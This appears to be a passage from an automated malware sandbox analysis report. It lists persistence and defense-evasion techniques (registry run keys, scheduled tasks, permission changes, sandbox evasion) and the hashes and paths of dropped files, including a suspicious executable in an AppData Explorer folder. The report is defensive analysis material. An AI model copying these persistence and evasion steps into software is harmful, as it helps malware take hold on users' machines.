Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Modify Registry
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
- Size 192B
- SHA256 7bef2904948705f8b84dfcd49f1aeec33140866be7cf41b5eedb43e0317afe3e
- MD5 153e469b51694a24b7af42756ca73716
- SHA1 4dcefd3572bcd6e687e1520c083ff5be3af56c15
- SHA512 d3d360525f644ce55bd4eb8f4952b514976c87a8f399094a512e356ac3c78778a4c114f57063669adcf57e9a5a920e2c929e250df0b6b28b04847007c63a2776
- TLSH T175C08C1C1AA20A16F2A8537D02C139139B208142E6818F051AF12A09C9A6B2A2838C7A
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1495DD322A24490E2BF2FAABAE1C61
- Size 192B
- SHA256 35cc79a7184bf4f0815adc0551e1668b08fd58cebe3560119fbcb04b92afa533
- MD5 e5fb879a3ae1c666fcee5cb6ef3dc3a6
- SHA1 484a8c65dbe058203a9ff98618456ca9a5fbedc5
- SHA512 780f4abf6d04b249b195c4efd3ddea677fd0ea54b6fac961217f35675d89429b91c4f5c83227e8fc5b8132e2b460407ff17adb79f1f2e5541ace8746a3033da6
- TLSH T1E1C08C1C6A62061AF2E8437D02C12D039B228520F7858F0126F12A28CC11F502C34C28
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
- Size 192B
- SHA256 eb32de8c1e4aac3dbc72da53003e0e0213572db91b8ab771a5fcd912b77c70f2
- MD5 3d6c327dc44afb387fecf96ef4318a0f
- SHA1 34524ce8c0272547d9b4545c109169da312cf4ab
- SHA512 7a82a56a194ea677056e222bc1c9981fa7ba65d8261d7a648d1b32b3451220ad46024bf80489cbf6a061a6e0cb481d8ddf2291bb56f87019b2134554bb0e10e0
- TLSH T143C08C181BA20A16E2EC0BBE22D02A839A14D001F2819F5A163A2A488C10B142C30C2C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\675C796A24FB08F32E75318F51DDF3D2
- Size 246B
- SHA256 ec5e6285b82477197140c76a351a2a3faa94bfccd2c5be2cfef8eda0228d7f49
- MD5 9a4661e46d3883b690862455f44c3e07
- SHA1 adf1730deada3f0fb6082eeed572a2ec8b7c4816
- SHA512 d36700b18bc3f684c6c79da31523f8ca032a250348b99d72aa466145c8b790b92803f5ff6141c8f61e8bfe0c0e84676e37697ad640a9b2e9cc3ec8f6a5932a0d
- TLSH T1BDD022285790022FF0BF413E58E00101FB292506E481AF0A6B63070C8C3AB062CA282C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
- Size 401KB
- SHA256 8271dce817f58f0e147f6d2578d2f5bc2cbe13c181d439375008a2cf8c0f0d9f
- MD5 065c15e2c90db9744679b51934b6c0f9
- SHA1 61064a294daec2fed87b99f8f4e061b342a1d653
- SHA512 67ea9bdd83c0e5bc90e683600129dda107f1c304d74ec2358eecc808cb8d1d9ff611fb648f25b6cd20e961dcc772bf51da89aeedc287715c3d897e0b89d1dd68
- SSDEEP 6144:YsO/zba+IQbXxFaK6cfyIoT7Oqbv5F0GRedZ1YzS:YH7F6cf6T7Ow5JR
- TLSH T144947D16EA65207DE2E79138CC57C902E6B57C4E07A1AACF03D049A32F276E19F3E751
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 82fb99dc0cd12ba5e5b7a360092f848d2fbb2775d12ccb3aa60d8b3710ccc91a
- MD5 9e67f340014cbaf62f2fb8c7a539d21b
- SHA1 f0ed976f190cbdf1b9b643c93b97d101cb87e3ae
- SHA512 9c86e7c8cfd1971b16e7b82d6ab9c9539e115402d205efff6f2ef941bc0e09a479e31ecff8a3510c8c7ade3f65cdab7b4f1eda357438b854be29349aaccb93e6
- TLSH T1E7216833B3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E659A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 070e2dc002fee5d6c6ae0611713bb24a9f01d741d964e7f1ece4f61789724a94
- MD5 95e9928464a1f3425068f7e64a74060a
- SHA1 9bdbd59bea34afd0aebf4d0c3d3cfe0317aa4d57
- SHA512 a150525324ebe4a0dc28577f089c1f45ef0902355ecd9d5f10c91d45fe57d44d09c6d133a92c3f32dca0c73b97b259d5ad7ff4316edafa2cb00e38d64e043f06
- TLSH T1E9216833F3DD8654C899413A10CEAC1035B7C7DB40DECEDB6B84D559A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qiwq1htl.qxe.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH